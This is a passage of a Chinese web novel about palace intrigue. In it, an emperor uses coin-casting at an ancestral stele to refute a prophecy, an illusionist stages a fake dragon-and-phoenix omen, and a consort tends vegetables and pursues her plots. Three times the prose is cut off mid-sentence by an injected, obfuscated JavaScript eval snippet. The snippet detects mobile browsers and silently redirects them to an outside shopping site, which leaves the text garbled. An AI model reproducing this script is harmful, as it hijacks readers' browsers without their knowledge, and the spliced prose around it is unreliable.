当年太-祖皇帝打天下时,原本已经被敌军逼到了绝路,谁知这时一颗陨石从天而降,将数万敌军砸得死伤大半,剩下的敌军也被吓得魂飞魄散,失了斗志。 太祖皇帝得天之幸,转败为胜,一举剿灭敌军,夺下了江山。 因此太祖皇帝将这颗陨石视为神石,立国后集齐全天下的能工巧匠,将其雕刻成了一块石碑,并专门修建了这座祭坛,日日供奉。 薨逝前还留下遗旨,说这块石碑乃是大齐立国之本,后世子孙不得忘本,要世世代代虔诚供奉。 此后,每一任皇帝继位前,都要来向这块石碑磕头叩拜,李氏皇族内部还戏称其为“石祖宗”。 此外,每逢遇到大事,或者无法抉择之事,历任皇帝也会来此祭拜石祖宗,祈求石祖宗给指出一条明路。 不知是李氏皇族的世代供奉让这块石碑有了灵性,还是仅仅只是巧合,石碑每次给出的“答案”,都能助李氏皇族度过危机,遇难成祥。 因此石碑的声望愈发高了,不论是勋贵大臣,还是黎民百姓,都对石碑给出的“指示”十分信服。 在礼官的朗诵声中,李淳虔诚地朝着石碑三叩首,默默祈祷石祖宗站在他这一边,助他度过此次危机。 礼官念诵完毕,从石碑底部的机关石槽中取出一只石匣。 这只石匣是用当年那颗陨石的边角料雕刻而成的,匣中有三枚石钱,石钱正面雕刻着太祖皇帝的像,背面则雕刻着石碑。 礼官将石匣呈递给皇帝:“请皇上抛掷石钱,叩问石祖。” 经过大齐历任皇帝的触摸,匣中的三枚石钱变得十分光滑,有种玉一般的质感。 李淳将石钱拿出来,捧在手心里,双手合十。 “大齐景和七年二月廿五,琼林苑昆明池中浮出一只乌龟,龟背上刻有十六字谶语——妖孽化形,窃居紫薇,祸乱四方,天下分崩。 “随后各地怪事频发,流言四起,民声沸腾,天下皆传朕乃是妖孽化形,朕不胜烦扰,故今日在此祭拜天地,叩问石祖。 “若谶语属实,则三枚石钱皆正面朝上,若不然,那十六字谶语则纯属谣言,还请石祖示下!” 话落,李淳便将手中的三枚石钱抛了出去。 石室内,姜念虞通过另一个管道,清晰目睹了这一幕。 随着石钱被抛出,她的心也不由得高高悬了起来。 “蓁蓁,那三枚石钱都会朝上的,对吧?” 李玄璋:“如果没有意外的话。” 他已经安排好了,不管李淳是以什么姿势将石钱抛出去的,最后石钱落地时都会正面朝上。 但以往的种种经历让他从不敢将话说死,因为意外往往都会不期而至,让他功败垂成。 就是不知这一次,有姜念虞这个变数在身边,意外是否还会到来。 “天哪!你们看那是什么?” “龙!天上出现了龙!” “不止有龙,还有凤凰!” “龙凤呈祥!大吉啊!天佑我大齐!” 原本一片平和的天空,云层之中忽然出现了一条龙,一条金光闪闪的龙,金龙在云层中遨游,庞大而威严,完美符合了人们对于龙这种生物的所有想象。 紧接着又有一只全身火红的凤凰出现了,与那条金龙一道遨游于天际。 这一幕看得祭坛附近的百姓目瞪口呆,纷纷跪倒在地,祈求传说中的神兽降下福瑞,保佑她们。 祭坛内,众人听见动静,也都抬头看去。 便是李玄璋暗中安排的人,也被这一幕前所未见的异象给分散了心神。 等到众人回过神来时,石碑下李淳抛出的三枚石钱,早已落地。 礼官一看,大喜,高声道:“石祖显灵了!三枚石钱两枚朝上,一枚朝下,龟背谶语乃是不实谣言!” 祭坛下的一众人等齐齐跪地:“恭喜皇上破除谣言,得证清白!皇上万岁万岁万万岁。” 石室内,姜念虞愤愤捶了下墙。 “阿幻不是已经被宁远侯带出宫了吗?外面那一幕龙凤呈祥的幻象是谁搞出来的?要不是这一幕幻象突然冒出来,李淳抛出去的那三枚石钱就会都朝上了!” 她亲眼看到,李淳趁着众人目光都被异象吸引过去时,偷偷将其中一枚石钱翻了面! 和她的气急败坏比起来,李玄璋就要显得平静多了。 因为这样的事,他经历过太多次,都已经有些麻木了。 “这世间精通幻术的并不止阿幻一人,在我们不知道的时候,李淳或许还找了别的幻术师,做了二手准备,打了我们一个措手不及。 “姐姐,事情已成定局,再气愤也是无益,走吧。” 姜念虞最后朝管道那头看了眼,结果一不小心对上了一双翠绿色的眼睛! 她心跳漏了一拍,不由后退一步。 再看去时,她发现刚才那双眼睛的主人是空明,先前被无相大师带进宫来做法事的那个年轻和尚,她的异能血包之一。 他站在一群和尚中间,刚才似乎只是随意地朝这边瞥了一眼,目光并未停留。 “姐姐?”发现姜念虞没跟上来,李玄璋回头唤了她一声。 姜念虞往嘴里塞了颗话梅压压惊,“来了,接下来我们去哪儿?” 李玄璋:“去南城五里桥,找赵瞎子看病。” 姜念虞:“啊?你还真打算带我去啊?” 李玄璋:“做戏做全套。况且,姐姐不是一直想在外面逛逛吗?到时看完病我带姐姐在宫外转一圈。” 一听到可以逛街,姜念虞的心情就好了许多,“好啊。” * 李淳一派淡然地下了祭坛,坐上龙辇,回青城斋宫。 一路上,百姓都在说: “我就知道那劳什子龟背谶语是谣言,是有人陷害皇上,这不,老天爷居然放出了神兽,来为皇上证明清白!” “咱们大齐有龙凤这等神兽坐镇,我看以后还有谁敢侵犯咱们的国土!” “皇上洪福齐天哪,咱们这些小老百姓也能受到他老人家的福泽庇佑,以后谁要再敢说皇上是妖孽,我拿唾沫星子淹死他!” …… 听着百姓对自己的夸赞,李淳表面一派云淡风轻,心里早就乐开花了。 这些愚民有时候还是很可爱的嘛。 等以后大权独揽了,他不介意推行一些惠民之举。 回了青城斋宫,李淳径直去了昊天塔。 昊天塔位于斋宫西北方向,是京城内外最高的建筑,足足高达七层,可以近距离观测天象。 到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306688|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塔楼前,李淳将一群侍卫太监都留在了门外,自己独自进了塔。 才刚洗脱妖孽污名,还收获了一波民心,这会儿的他正处于兴奋难耐的时刻,爬起楼梯来那叫一个轻松雀跃。 一口气从塔楼底部爬到了顶层。 顶层有两个人,一个是墨春,另一个,赫然是阿幻。 他正蹲在地上,将自己的幻术道具一一收进一口大箱子里。 方才那场龙凤呈祥的异象,正是他在这塔楼顶部制造出来的一场大型幻术。 在云层中遨游的金龙、火凤,其实都是风筝,长达数十丈的巨型风筝。 不过光有风筝还不够,主要起到作用的,还是阿幻独家研制出来的幻心粉,这是一种可以致幻的药物。 阿幻将幻心粉涂抹在风筝上,随着风筝升空,幻心粉随风洒落,底下的民众都在不知不觉间吸入了幻心粉,产生了幻觉。 在幻术的加持下,众人看天上的金龙风筝和火凤风筝,便以为那是真正的龙凤。 这会儿幻术结束了,龙凤呈祥的异象便犹如一场梦幻泡影般消失了。 当阿幻将最后一根风筝骨架折叠起来收进箱子里时,李淳的身影出现在了楼梯口。 他踏上顶楼平台,朗声大笑着朝阿幻走去。 “阿幻,这次真是多亏了你啊,要是没有你,这会儿朕已经沦为妖孽了。” 墨春和阿幻忙朝他行礼。 李淳亲自将阿幻扶了起来,“你的幻术,当真是出神入化,令朕大开眼界。” 阿幻依然假装看不懂他说了什么,一脸茫然地看向墨春。 墨春将皇帝的话翻译给他听。 阿幻做手势回道:“皇上谬赞了。您先前说的话,可还算数?” 先前皇帝说,只要他在问天大典这一日施展一场龙凤呈祥的幻术,他就告诉他,祖父体内的毒是何人所下。 李淳:“自然算数,朕一言九鼎,怎会言而无信?阿幻,给你祖父下毒之人,乃是世子韩岩。” 韩观一惊,打手语:“他为何要给祖父下毒?” 李淳:“自然是为了早日成为新的宁远侯,继承侯府的一切。” 韩观:“可有解药?” 李淳:“解药自然是有的,不过不在韩岩手里,因为他压根儿没想过给宁远侯解毒。 “韩岩给你祖父下的,是来自西域的一种蛇毒,那种毒蛇巢穴附近有一种花,名为琅珠花,琅珠花的汁液可解蛇毒。朕已经派人去西域寻找这种花了,等找回来后,你祖父的毒就能解了。” 墨春将这番话用手语翻译了出来。 阿幻忙表示感谢。 李淳将他扶起来,“谢什么,这本就是朕答应你的事,不过在琅珠花找回来之前,你可愿为朕效力?” 阿幻打手语:“我愿意。” 李淳:“好,从今日起,你就是朕的人了,朕有件事要交代你去办。” 李玄璋的钱袋子,终于是他的了。 阿幻一手经营起来的日进斗金的销金窟,也会是他的! 不久的将来,会有源源不断的银钱进入他的私库,到那时,很多事他都能放开手脚去干了。 远处青山绵延,京中民生安乐。 这江山如画、盛世安稳的景象,令李淳胸中凭生一股豪情。 从前,他怎会纵情于酒色享乐呢? 那只不过是凡夫俗子的追求。 如今的他,迥异于凡俗,自该如神龙一般翱翔于天际,俯瞰这天下,如李玄璋这等人,不过是他脚下的虫子罢了。 41. 第41章 清晨,太阳初升,天空飘着一缕一缕粉色的云彩,美如油画。 未央宫前殿的院子里,姜念虞带领着宫中上下一百多号人做体操。 一个多月过去,未央宫的一众成员都已经学会了体操,做起来整齐划一,有一种和谐的美感。 就连晟儿,也做得有模有样了,不会再摔倒了。 瞧着身形都抽条了一些,不再像个小胖墩似的。 当然,也有可能是夏天来了的缘故,穿的衣裳变少了,人就显得瘦了许多。 做完两遍体操,宫人们该干嘛干嘛去,姜念虞则牵着晟儿去巡视自己的菜园子。 花盆里的葱、姜、韭菜都长得郁郁葱葱,水灵灵的,已经吃了好几茬了。 大一些的陶缸里,苋菜、茄子、空心菜、卷心菜也都长势颇好,再过几日就能吃了。 靠墙的地方爬满了绿油油的藤蔓蔬果,有丝瓜、黄瓜、苦瓜…… 晟儿:“姨母,那里有一根黄瓜!” 他高兴地跑过去,却不小心被地上的一个大冬瓜给绊倒了,直接摔在了瓜上。 姜念虞走过去一看,乐了,晟儿好像还没有那个瓜长。 晟儿也发现了,骑坐在硕-大的冬瓜上,“姨母,这是什么啊?长得好大呀。” 姜念虞:“这是冬瓜,可以红烧、炖汤,还可以做成糖吃。” 晟儿瞅着身下的大冬瓜,脸上的小奶膘纠结地皱了起来,“可是姨母,它之前吃了屎,喝了尿,咱们还能吃吗?” 姜念虞:“……” 先前她在轮回司那里得了灵感,回来就下令宫中的马桶以后不送去轮回司了,就在自己宫里解决掉。 怎么解决呢?沤肥,浇灌蔬菜瓜果。 晟儿看见了,对此印象深刻。 但他不知道的是,这些瓜果蔬菜之所以长势这么好,并不只是因为被浇灌了粪肥,更主要的还是她私下里没少给它们输送异能。 姜念虞:“当然能吃了,正是因为‘吃’了粪肥,这些蔬菜才能长得这么好,你看,它们个个都绿油油水灵灵的,干净得很,怎么不能吃了?” 说着从藤蔓间摘下了一根黄瓜,咔嚓一声掰成两半,递了一半给晟儿,自己咬下一大口。 清脆鲜嫩! 咀嚼间,一股清新到爆炸的气息直冲天灵盖,不要太好吃! “快尝尝,可好吃了。”姜念虞三两口就干掉了半根黄瓜,又摘了一根吃起来。 看姨母吃得那么香,再加上空气里弥漫着黄瓜无比清新的气味,晟儿最终还是没能忍住,尝试着咬了一小口。 这一尝,他眼睛就亮了,姨母没骗他,真的好好吃! 姜念虞带着晟儿边吃边摘,很快就收获满满,摘了两大篮子新鲜的蔬果。 她将这些蔬菜交给春樱,让她送去膳房,“以后膳房做饭,就用咱们自己种的蔬菜瓜果。” 这些蔬果吸收了异能,不仅长得更快,味道也远胜寻常的蔬果,而且还有滋养的效果。 长时间吃,对身体可是很好呢。 早饭是鸡肉馄饨和羊肉包子。 馄饨皮擀得厚薄适中,煮熟后变得半透明,能看见里头饱满的肉馅儿。 吃起来异常嫩滑,都不用怎么咀嚼,就自个儿往喉咙里滑去了。 羊肉包子也做得十分美味,一口咬下去,能流油,然而那肉馅儿却是肥而不腻,让人吃了还想吃。 姜念虞一个人就干掉了一大盘包子。 光吃包子未免有点干巴,但她又不想喝咸汤,便临时叫人冲了蛋酒来。 热腾腾甜津津的一碗蛋酒喝下去,别提多舒坦了。 姜念虞吃得脖子额头都出了一层汗。 晟儿也被她带得胃口大开,吃下去了一碗馄饨,一个大肉包子,一碗杏仁羊奶。 “姨母,晟儿去上学了。” 姜念虞:“来,带一包零食在身上,饿了就拿出来吃。” 她蹲下来,将一只装了零食的荷包系在晟儿腰带上,里头是果脯和几块糕点。 晟儿感受到荷包的重量,冲姨母露出了一个甜甜的笑容,凑近姨母的脸亲了一下。 亲完又觉得不好意思,转身跑走了。 姜念虞摸了摸被他亲过的地方,感觉内心一片柔软。 晟儿去上学了,姜念虞也有自己的事要做。 她一个人也没带,独自去了冷宫,给先前种下的药材浇水施肥,拔草松土。 休息的间隙,看见那颗被砍了的桃花树,她又来气了。 李淳这狗东西不让人在宫里种桃花树,她偏要种。 这宫里唯一能在名义上压过李淳的,唯有太后,若是太后想种桃树,李淳还能违抗不成? 关键是她该怎么让太后种桃树呢? 正想着,一股独特的香味传了过来,她循着香味一路找过去,发现李玄璋坐在灶膛前烧火,灶上坐着一只大蒸笼,蒸笼里冒出一缕缕白汽。 香味就是从蒸笼里散发出来的。 “你在做什么好吃的?” 李玄璋对她的到来丝毫不感到意外,“藤萝饼。” 姜念虞:“好香啊。” 想揭开蒸笼盖看看,被李玄璋制止了:“姐姐,还没好呢,不能揭开盖子。” 姜念虞只得收回手,“还要多久啊?” 李玄璋:“还得一刻钟左右。” 姜念虞有些无聊地环顾了厨房一圈,打扫得真干净,一尘不染的,无论什么东西都摆放得井井有条,连木柴都整整齐齐的。 桌子上还摆着一只白瓷花瓶,花瓶里插着一束红色的月季,瞧着已经蔫吧了。 “这花儿都已经蔫了,怎么不换掉?” 李玄璋:“姐姐忘了吗?这是你之前送我的。” 姜念虞的确忘了,半个多月前随手送出去的一束花,她哪里还记得?每天光是想第二天的菜单就已经耗光她绝大部分脑细胞了。 不过这花也得亏是用异能催生出来的,这才能坚持开这么多天,要是寻常的月季,花瓣怕是早就掉光了。 “要不我帮你把它种下,种在土里,等它生根发芽了,就能一直开着了。” 李玄璋:“好啊。” 姜念虞找了把铲子,在灶房外头的小院里很随意地挖了个坑,将那束已经蔫吧的月季花插进去,盖上土,浇了水,顺便给它喂了点异能。 原本蔫吧的月季花很快就变得精神起来,垂下去的花朵又支棱起来了,变得鲜艳水灵。 看到这些美丽鲜活的生灵,她心情就变得很好,轻轻抚摸了下花瓣。 玄猫感应到异能,蹭一下从屋顶上跳下来,翘着尾巴走过来,张嘴就要吃花瓣。 姜念虞忙制止了它,“不可以吃花花哦。” 说着给玄猫喂了点异能,吃饱了的玄猫也不再盯着花瓣了,在她面前躺下来,敞着肚皮求摸。 姜念虞当然是满足它啦,在它的肚皮上一阵挼,尤其是原始袋那一块儿,更是没放过。 玄猫发出了舒服的呼噜声。 屋子里,李玄璋冲她喊:“姐姐,藤萝饼好了,来吃吧。” 姜念虞一秒放开了猫,屁颠屁颠地跑了进去,徒留还躺在原地卖萌打滚的玄猫一脸懵。 “哇,好香啊。” 姜念虞也顾不得烫,从盘子里拿了块刚出锅的藤萝饼,吹了吹,就咬了下去。 “呼,好烫,好好吃。” 藤萝饼极为蓬松柔软,透着花香、松子香,甜度刚刚好,超级美味。 李玄璋见她筷子也不用,就直接上手的猴急样儿,无奈摇了摇头。 他自己也尝了一块,觉得滋味不错。 将剩下的晾凉了,切成大小均匀的方块,用油纸包起来。 姜念虞:“你包起来干嘛?” 李玄璋:“给姐姐带回去吃。” 姜念虞顿时喜笑颜开,“蓁蓁,你真好。” 李玄璋洗了手,“问天大典那天出现的异象,我已经查出来了。” 姜念虞又拿了一块藤萝饼,“是谁?” 李玄璋:“阿幻。” 姜念虞:“啊?怎么会是他?先前李淳用揽月楼和瑶娘威胁他,他才不得不跟着李淳走,后面他知道了自己的身世,已经回归宁远侯府,不必再受到李淳的威胁了,为何还会帮李淳?” 李玄璋:“李淳安排人秘密找到了他,不知用什么条件打动了他,让阿幻愿意为他效力。” 姜念虞回忆剧情,试探着说:“李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321102|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淳将宁远侯被韩岩下毒这件事告诉了阿幻?” 她顺利说出来了! 看来这件事已经发生了,成为了既定的事实。 李玄璋心中的疑惑得到了解答,“原来如此,姐姐可有梦到这件事?” 姜念虞:“这和我的梦有些出入,在我的梦里,没有我们的插手,李淳在问天大典前将阿幻带回宫,利用阿幻施展的幻术顺利洗脱了污名。而阿幻不知自己的身世,为了揽月楼和瑶娘,不得不继续为李淳效力。 “另一边,李淳等到宁远侯毒发去世,威胁继承侯府的韩岩,让韩岩替他做事。 “而现在,估计因为我们的插手,导致阿幻的身世提前暴露,李淳为了拉拢他,不得不将韩岩给宁远侯下毒的事告诉他。” 所以,她和李玄璋的计划虽然没有成功,但还是让剧情发生了一些偏移。 起码,从问天大典这里开始,剧情已经偏离原先的轨道了。 剧情的惯性一旦被打破,后面的发展,就变得不可预料了。 李玄璋:“梦中你可梦见韩岩给宁远侯下了什么毒?” 姜念虞摇头:“只知道是一种西域蛇毒。” 这个蛇毒连小说里都没明确说出来,她又怎么可能知道呢? “不过我知道它的解药是什么,琅珠花,这种花同样产自西域。” 她的异能可以治病,可以疗伤,可以强身健体,可惜就是不能解毒,不然她直接施展异能给宁远侯解了毒多好,哪儿还用得着这么麻烦? 李玄璋:“前几日李淳派出了一队使者前往西域,说是想重新开拓商道,如今看来,开拓商道是假,实际上是想找到琅珠花。” 姜念虞:“要是我们能先找到琅珠花,赶在李淳之前解了宁远侯的毒,就能将阿幻重新拉拢过来。” 李玄璋:“为何要将他拉拢过来?” 他并不缺一个幻术师,尤其还是个又聋又哑的幻术师。 姜念虞被他问得一噎,想说阿幻吸金能力很强,在一周目里可是你的赚钱小能手。 可惜这一点她目前没法说出口。 所以对比起来,好像的确是她更需要阿幻这个异能血包。 她的异能升到二阶后就停滞不前了,不管她怎么和李玄璋、林鹤接触,顶多只能让异能升到二阶巅峰,再不能更进一步。 她有个猜测,难道要接触下一个异能血包,她的异能才能升级? 如果真是这样的话,那阿幻就关乎着她的异能能否升级,对她的重要性不言而喻。 毕竟和另外两个异能血包——异瞳和尚空明、前未婚夫状元郎裴少清比起来,她更有希望接触到阿幻。 也就是她身处深宫之中,没法轻易出宫,不然哪儿用得着那么麻烦? 她也不是没想过假死脱身,远离皇宫,从此天大地大一个人逍遥自在。 但她既然占据了原主的身体和身份,享受到了这个身份带来的种种好处,那她就得承担起相应的责任——护持晟儿平安长大。 也就没法说走就走了。 所以归根结底,还是得借着李玄璋的手,把阿幻拉拢过来,这样她才有机会跟他近距离接触。 种种想法只在一个闪念间,姜念虞吃了块藤萝饼压压惊,冲李玄璋卖了个关子:“蓁蓁,信我,阿幻绝不只是擅长施展幻术,他还有别的能力,而那项能力,会为你带来莫大的好处。” 李玄璋淡淡道:“是吗?那我便派人去西域寻一寻琅珠花。” 其实要他说,直接杀了阿幻最干脆,在李淳将阿幻带走当晚就该杀了他,不然也不会有后面的变故。 但她不想让阿幻死。 他便不愿逆了她的意,让她不高兴。 从前他的人生像是一出被排好的戏,他只能被冥冥中那股力量操控着往前走,去报仇,去对付李淳。 但现在,她的出现,让他的人生起了一点意料之外的波澜,不论这意外是好是坏,都代表着他的人生还有另一种可能。 若他是沼泽,那么她就是偶尔停驻在这滩沼泽上的蝴蝶,他不能将她惊飞,而要想方设法地留住她。 听他这么说,姜念虞放了心,但她觉得不能将全部希望都放在他身上,她自己也得想想法子才行。 42. 第42章 晚上,姜念虞和晟儿吃的是冬瓜盅火锅,滋味比较清淡,但鲜美难言,鲜得她眉毛都要掉了。 晟儿告诉了她一个消息:“姨母,学堂新来了一位夫子。” 姜念虞:“哦?新夫子是谁啊?” 晟儿:“是状元郎,裴夫子。” 姜念虞精神一振。 原先她以为她一个后宫妃嫔很难接触到裴少清这个外臣,但如今裴少清成了皇子们的夫子,那她岂不是有机会接近他,与他近距离接触了? 她给晟儿夹了一片烫好的肉,“晟儿,明天姨母送你去上学,怎么样?” 晟儿惊喜地抬起脸来,“真的吗姨母?太好了,姨母要送晟儿去上学咯!” 那些人都说他是没娘的孩子,哼,他要让他们看看,他虽然没有母后,但还有姨母,姨母会亲自送他上学! 见晟儿高兴成这样,姜念虞的良心不免有些痛,她送晟儿上学,是利用他见到裴少清…… 为了弥补晟儿,对得起他这份喜欢和信任,姜念虞暗下决心,以后只要有空,她都亲自接送晟儿上下学。 翌日,吃完早饭后,姜念虞牵着晟儿的小手,送他去了文华阁。 结果并没能见到裴少清。 因为裴少清只是兼职来教皇子们,他的主职是翰林院编修,平时不会闲着没事到这边来晃悠。 姜念虞只得遗憾离去。 走到三人桥时,迎面碰上了坐着肩舆而来的二皇子李昌。 李昌还记着先前因为德妃而被皇祖母训斥的事,非但没有从肩舆上下来向她这个德妃见礼,还冲她做了个鬼脸。 姜念虞能惯着这小屁孩吗?当然不可能。 于是也回了他一个鬼脸。 同时释放出了一股恐怖的气息,仿佛真的化身为恶鬼了般。 李昌吓得脸都白了,瘫软在肩舆上。 姜念虞冲他得意地耸了耸鼻子,扬长而去。 走了没几步,后面传来李昌的“哇哇”大哭声。 这倒霉孩子回过神儿来了,吓哭了。 呵,小屁孩,跟我斗,你还嫩着点呢。 回到宫里,姜念虞去园子里摘了两大筐蔬菜。 这些蔬菜一旦成熟,就会一茬一茬地冒出来,根本吃不赢,不妨送一些出去。 姜念虞让人抬着两筐蔬菜,先去了淑嫔的柔福宫。 虽然跟淑嫔的儿子李昌不对付,但对淑嫔本人,姜念虞是没什么意见的,甚至颇有好感。 她还记得刚穿来时,在冷宫那个地方没吃没喝的,是淑嫔让人送来了一堆东西给她。 淑嫔性情平和宁静,即便被禁足在宫中也没有什么伤怨情绪,安安静静自得其乐地过着自己的日子。 不过得知德妃来看望她,她还是很高兴的,忙放下手里的书,迎了出来。 “妹妹快坐,菖蒲,奉茶。”淑嫔拉着姜念虞在铺了软垫的炕上坐下。 姜念虞指了指自己带来的一筐蔬菜,“这是我自个儿宫里种出来的,比寻常的蔬菜要熟得早些,我带来给你尝尝。” 淑嫔走近了看那一筐蔬菜,闻到了一股自然的清澈芳味,吸一口,实在沁人心脾,竟是比最上等的香料还要芬芳怡人。 瞧着也是新鲜水灵得紧,白的似玉,绿的如翠,赏心悦目。 “多谢妹妹惦记着我,这蔬菜长得真好,菖蒲,快收下,拿去膳房妥善安放。” 姜念虞还要去一趟太后宫里,便没在淑嫔这里多待,喝了一盏茶吃了些点心便告辞了。 淑嫔送了她一盒香料,“这是我自己配的,不是什么名贵香料,不过香气倒还清新,且有驱虫之效,最适合夏日使用。” 姜念虞凑近闻了一下,“真香。” 高高兴兴地收下了。 到了太后宫里,黄鹂迎出来,告诉她:“陆太医正在给太后请平安脉,娘娘不妨稍坐一会儿,今日膳房做了酥酪,上头还撒了桂花蜜,味道极好,奴婢叫人呈上来给您尝尝。” 姜念虞:“好啊。” 酥酪呈上来,闻着就有一股子清甜的桂花香,还有一股浓浓的奶香味儿,吃起来凉凉滑滑的,有点像双皮奶,但要更嫩,入口即化,好吃极了。 一个没注意,一碗就下肚了。 “黄鹂,我可以再吃一碗嘛?” 黄鹂好笑道:“德妃娘娘,不是奴婢不让您多吃,这酥酪毕竟是凉物,吃多了容易闹肚子。要不您尝尝别的糕点?这白桃绿豆糕和龙井茶糕也是不错的。” 姜念虞:“好吧。” 陆太医从里间出来,见到德妃,上前行礼。 姜念虞朝她摆摆手,“陆太医不必多礼。” 得知德妃来了,太后在里头唤她:“虞丫头快进来。” 姜念虞走了进去,身后两个小太监抬着一筐蔬菜跟上去。 “太后,这是我自己种出来的菜,可好吃了,特意带来给您尝尝。” 姜念虞自然地坐到太后身边,向她老人家献宝。 太后什么宝贝没见过?什么重礼没收过? 但她还真没收到过别人亲手种出来的蔬菜。 如此的普通,又如此的不同寻常。 “哟,我瞧瞧,这菜种得真不错。” 入夏后,她的胃口就有些不济,但是瞧着这些水灵灵的蔬菜,她竟然有些口舌生津。 当即拿了根碧绿的嫩黄瓜,擦了擦,咬了一口。 本来只是想尝个鲜,没想到这一吃就停不下来了,一会儿功夫就将一整根黄瓜都吃完了,竟然还有些意犹未尽。 黄鹂在旁边看着也觉得高兴。 “太后,不如中午就叫膳房的人把这些蔬菜做来尝尝?” 太后:“好,我正有此意。” 中午姜念虞在太后这里蹭了一顿饭,桌上的菜肴,所用的蔬菜都是她送来的。 太后吃着只觉滋味大胜从前,一连进了两碗饭,都还有些不够。 但她讲究养生,从不吃得过饱,纵然还想再吃,却也搁下了筷子。 看德妃吃得津津有味,她自己也像是跟着一块儿吃了,心理得到了极大的满足。 饭后,姜念虞陪着太后散步消食,提起来:“太后,您听说了宁远侯找回孙子的事吗?” 太后:“咋没听说,皇帝微服出宫,到揽月楼寻欢作乐,见到那幻术师阿幻生得姿容不俗,便带回了宫,可惜呀,没等他宠幸,宁远侯就找了过来,说阿幻是他的孙子。” 姜念虞眨了眨眼,迟疑道:“太后,您是说,皇上将阿幻带回宫,是看上了他?这,这不能吧?” 太后:“虞丫头,这有什么不可能的,皇帝呀,不知道是哪根筋搭错了,有了龙阳之好,已有两个月没有召幸妃嫔了,反倒镇日里和太监、侍卫厮混。 “好在大齐有姜相、裴公等诸位大臣,皇帝即便荒唐些,只要不乱插手朝政,也出不了什么乱子。宫中呢,皇子公主也不少,皇帝也算是尽到了为皇家开枝散叶的任务。 “只是可惜了你,这大好年华,以后还不知能不能有自己的孩子。” 太后这番话可谓是推心置腹,不过姜念虞很怀疑她是被李淳给骗了。 李淳重生后的确是有了龙阳之好,但只针对墨春一人,根本不可能近别的男人的身。 太后却说他镇日里和太监、侍卫厮混,这显然是李淳故意为之——他知道太后在暗中监视他,但现阶段又没法彻底摆脱太后,所以不惜自污做出有龙阳之好的假象,降低太后的戒心,但实则是在暗中培植自己的亲信,训练自己的亲卫。 将阿幻带回宫,也是为了利用他,而非是看上了他。 姜念虞故作坚强地笑了笑,“在嫔妾心里,晟儿便是我的孩子,我只想把晟儿好好抚养长大,其它的一概不想。” 太后拍了拍她的手,“难为你了。” 姜念虞将话题拉回到阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338289|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幻身上:“我听说阿幻施展出来的幻术足可以假乱真,也不知是不是真的,要是能亲眼看一看就好了。” 露出了一脸向往的神情。 太后:“这有何难?我将人召进宫来,让他表演一番就是了。” 其实她自己也想看看。 若阿幻还是揽月楼的人,她自然不好将人召进宫来,但如今阿幻已经回归宁远侯府,召他进宫就没有什么顾虑了。 姜念虞惊喜道:“真的可以吗?多谢太后。” 翌日,太后果然将阿幻召进了宫。 如今,阿幻已经改名为韩观,上了韩氏族谱。 黄鹂领着人进来:“太后,宁远侯府少君韩观到了。” 太后和一群妃嫔都看了过去。 今日诸位后妃来向太后请安,太后将她们都留下了,让她们同自己一块儿观看幻术表演。 众人都很是期待。 韩观低着头,随黄鹂进殿,向上首的太后磕头行礼。 太后忙道:“快起来。” 跟在韩观身后的一名随从将韩观扶了起来,并向太后解释道:“我家少君乃是聋哑之人,耳不能闻,口不能言,还望太后和诸位娘娘莫要见怪。” 太后面露同情,“这孩子,真是命途多舛哪,好在现在已经被找回来了,往后不用再继续受苦了。来,抬起头来,让哀家看看你长什么模样。” 随从拿出随身携带的纸笔,将这番话写给韩观看。 这些日子,韩观在宁远侯夫妇的亲自教导下,已经学会了基本的字词,看懂日常交流用语不在话下。 他顺从地抬起头来,露出了一张白水仙般冰清玉洁的脸来。 那一刻,毫不夸张地说,姜念虞听见殿内响起了一片倒吸凉气的声音。 在场众人俱都被他的容貌惊艳到了。 太后回过神来,“这孩子长得真好,叫我这个老人家都看呆了。” 当即就将搁在旁边的一柄羊脂白玉雕刻而成的玉如意赏了他。 随后又赐了座,让韩观坐在自己身边,跟他聊起了家常。 其余妃嫔也都参与了进来。 她们都听说了阿幻的离奇身世,对他很是好奇,如今又亲眼见到了人,面对着这样一位钟灵毓秀、秀美绝伦的美少年,她们如何会不愿意与他多多亲近呢? 姜念虞眼见着太后和一群妃嫔跟阿幻相谈甚欢,都忘了最初召见他的目的了,晃了晃太后的胳膊,半是撒娇半是提醒道:“太后,嫔妾对韩观的幻术可是期待已久了。” 太后:“哦,瞧我,都忘了还有这么一回事儿了。阿幻,我和德妃她们都对你的幻术好奇得很呐,你就给我们表演一下,让我们开开眼界,可好?” 太后都发话了,秦观岂有不从之理? 于是退到了殿中央,打开带来的工具箱,开始了幻术表演——种瓜。 